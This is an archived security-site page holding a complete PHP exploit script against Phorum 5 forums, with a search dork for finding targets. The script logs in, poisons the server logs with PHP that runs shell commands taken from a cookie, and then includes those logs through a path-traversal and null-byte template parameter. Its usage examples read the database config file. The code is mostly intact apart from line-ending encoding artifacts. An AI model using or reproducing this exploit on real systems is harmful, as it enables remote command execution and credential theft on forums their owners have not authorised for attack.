TUCoPS :: Web BBS :: etc :: b06-3586.htm

PHORUM 5 arbitrary local inclusion
PHORUM 5 arbitrary local inclusion
PHORUM 5 arbitrary local inclusion



#!/usr/bin/php -q -d short_open_tag=on=0D
rgod@autistici.org\n";=0D 
echo "site: http://retrogod.altervista.org\n";=0D 
echo "dork: \"This forum powered by Phorum.\"\n\n";=0D
/*=0D
works with:=0D
register_globals=On=0D
magic_quotes_gpc=Off=0D
*/=0D
if ($argc<6) {=0D
echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS\n";=0D
echo "host:      target server (ip/hostname)\n";=0D
echo "path:      path to phorum\n";=0D
echo "user/pass: you need a valid user account\n";=0D
echo "cmd:       a shell command\n";=0D
echo "Options:\n";=0D
echo "   -p[port]:    specify a port other than 80\n";=0D
echo "   -P[ip:port]: specify a proxy\n";=0D
echo "Examples:\n";=0D
echo "php ".$argv[0]." a.b.c.d /phorum/ username password ls -la\n";=0D
echo "php ".$argv[0]." a.b.c.d / username password ls -la -P1.1.1.1:8080\n";=0D
echo "php ".$argv[0]." a.b.c.d / username password cat ./include/db/config.php -p81\n";=0D
die;=0D
}=0D
=0D
error_reporting(0);=0D
ini_set("max_execution_time",0);=0D
ini_set("default_socket_timeout",5);=0D
=0D
function quick_dump($string)=0D
{=0D
  $result='';$exa='';$cont=0;=0D
  for ($i=0; $i<=strlen($string)-1; $i++)=0D
  {=0D
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))=0D
   {$result.="  .";}=0D
   else=0D
   {$result.="  ".$string[$i];}=0D
   if (strlen(dechex(ord($string[$i])))==2)=0D
   {$exa.=" ".dechex(ord($string[$i]));}=0D
   else=0D
   {$exa.=" 0".dechex(ord($string[$i]));}=0D
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}=0D
  }=0D
 return $exa."\r\n".$result;=0D
}=0D
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';=0D
function sendpacketii($packet)=0D
{=0D
  global $proxy, $host, $port, $html, $proxy_regex;=0D
  if ($proxy=='') {=0D
    $ock=fsockopen(gethostbyname($host),$port);=0D
    if (!$ock) {=0D
      echo 'No response from '.$host.':'.$port; die;=0D
    }=0D
  }=0D
  else {=0D
   $c = preg_match($proxy_regex,$proxy);=0D
    if (!$c) {=0D
      echo 'Not a valid proxy...';die;=0D
    }=0D
    $parts=explode(':',$proxy);=0D
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";=0D
    $ock=fsockopen($parts[0],$parts[1]);=0D
    if (!$ock) {=0D
      echo 'No response from proxy...';die;=0D
   }=0D
  }=0D
  fputs($ock,$packet);=0D
  if ($proxy=='') {=0D
    $html='';=0D
    while (!feof($ock)) {=0D
      $html.=fgets($ock);=0D
    }=0D
  }=0D
  else {=0D
    $html='';=0D
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {=0D
      $html.=fread($ock,1);=0D
    }=0D
  }=0D
  fclose($ock);=0D
  #debug=0D
  #echo "\r\n".$html;=0D
}=0D
=0D
$host=$argv[1];=0D
$path=$argv[2];=0D
$user=$argv[3];=0D
$pass=$argv[4];=0D
$cmd="";=0D
$port=80;=0D
$proxy="";=0D
for ($i=5; $i<=$argc-1; $i++){=0D
$temp=$argv[$i][0].$argv[$i][1];=0D
if (($temp<>"-p") and ($temp<>"-P"))=0D
{$cmd.=" ".$argv[$i];}=0D
if ($temp=="-p")=0D
{=0D
  $port=str_replace("-p","",$argv[$i]);=0D
}=0D
if ($temp=="-P")=0D
{=0D
  $proxy=str_replace("-P","",$argv[$i]);=0D
}=0D
}=0D
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}=0D
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}=0D 
=0D
echo "[1] Login ...\r\n";=0D
$data="forum_id=0";=0D
$data.="&redir=http%3A%2F%2F".$host."%2Findex.php";=0D
$data.="&username=".$user;=0D
$data.="&password=".$pass;=0D
$packet ="POST ".$p."login.php HTTP/1.0\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Accept: text/plain\r\n";=0D
$packet.="Connection: Close\r\n";=0D
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";=0D
$packet.="Cookie: phorum_tmp_cookie=this+will+be+destroyed+once+logged+in\r\n";=0D
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";=0D
$packet.=$data;=0D
sendpacketii($packet);=0D
$cookie="";=0D
$temp=explode("Set-Cookie: ",$html);=0D
for ($i=1; $i<=count($temp); $i++)=0D
{=0D
  $temp2=explode(" ",$temp[$i]);=0D
  $cookie.=" ".$temp2[0];=0D
}=0D
if ($cookie==" ") {die("unable to login...");}=0D
echo "cookie -> ".$cookie."\n";=0D
echo "[2] Injecting some code in log files...\r\n";=0D
$CODE ='echo phorum_xpl;system($_COOKIE[cmd]);echo phorum_xpl;die();';=0D
$CODE ='';=0D
$packet="GET ".$p.$CODE." HTTP/1.1\r\n";=0D
$packet.="User-Agent: ".$CODE."\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Connection: close\r\n\r\n";=0D
#debug=0D
#echo quick_dump($packet);=0D
sendpacketii($packet);=0D
=0D
# fill with possible locations=0D
$paths= array (=0D
"../../../../../../../../../../var/log/httpd/access_log",=0D
"../../../../../../../../../../var/log/httpd/error_log",=0D
"../apache/logs/error.log",=0D
"../apache/logs/access.log",=0D
"../../apache/logs/error.log",=0D
"../../apache/logs/access.log",=0D
"../../../apache/logs/error.log",=0D
"../../../apache/logs/access.log",=0D
"../../../../apache/logs/error.log",=0D
"../../../../apache/logs/access.log",=0D
"../../../../../apache/logs/error.log",=0D
"../../../../../apache/logs/access.log",=0D
"../logs/error.log",=0D
"../logs/access.log",=0D
"../../logs/error.log",=0D
"../../logs/access.log",=0D
"../../../logs/error.log",=0D
"../../../logs/access.log",=0D
"../../../../logs/error.log",=0D
"../../../../logs/access.log",=0D
"../../../../../logs/error.log",=0D
"../../../../../logs/access.log",=0D
"../../../../../../../../../../etc/httpd/logs/acces_log",=0D
"../../../../../../../../../../etc/httpd/logs/acces.log",=0D
"../../../../../../../../../../etc/httpd/logs/error_log",=0D
"../../../../../../../../../../etc/httpd/logs/error.log",=0D
"../../../../../../../../../../var/www/logs/access_log",=0D
"../../../../../../../../../../var/www/logs/access.log",=0D
"../../../../../../../../../../usr/local/apache/logs/access_log",=0D
"../../../../../../../../../../usr/local/apache/logs/access.log",=0D
"../../../../../../../../../../var/log/apache/access_log",=0D
"../../../../../../../../../../var/log/apache/access.log",=0D
"../../../../../../../../../../var/log/access_log",=0D
"../../../../../../../../../../var/www/logs/error_log",=0D
"../../../../../../../../../../var/www/logs/error.log",=0D
"../../../../../../../../../../usr/local/apache/logs/error_log",=0D
"../../../../../../../../../../usr/local/apache/logs/error.log",=0D
"../../../../../../../../../../var/log/apache/error_log",=0D
"../../../../../../../../../../var/log/apache/error.log",=0D
"../../../../../../../../../../var/log/access_log",=0D
"../../../../../../../../../../var/log/error_log"=0D
);=0D
=0D
for ($i=0; $i<=count($paths)-1; $i++)=0D
{=0D
  $a=$i+3;=0D
  echo "[".$a."] trying with $paths[$i]%00 for template argument\r\n";=0D
  $packet="GET ".$p."pm.php?1,page=1&GLOBALS[template]=".urlencode($paths[$i])."%00 HTTP/1.0\r\n";=0D
  $packet.="Host: ".$host."\r\n";=0D
  $packet.="Cookie: ".$cookie." cmd=".$cmd.";\r\n";=0D
  $packet.="Connection: Close\r\n\r\n";=0D
  sendpacketii($packet);=0D
  if (strstr($html,"phorum_xpl"))=0D
  {=0D
  echo "exploit succeeded...\n\n";=0D
  $temp=explode("phorum_xpl",$html);=0D
  echo $temp[1]; die;=0D
  }=0D
}=0D
//if you are here...=0D
echo "exploit failed...";=0D
?>=0D
=0D
original url: http://retrogod.altervista.org/phorum5_local_incl_xpl.html=0D 
=0D

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH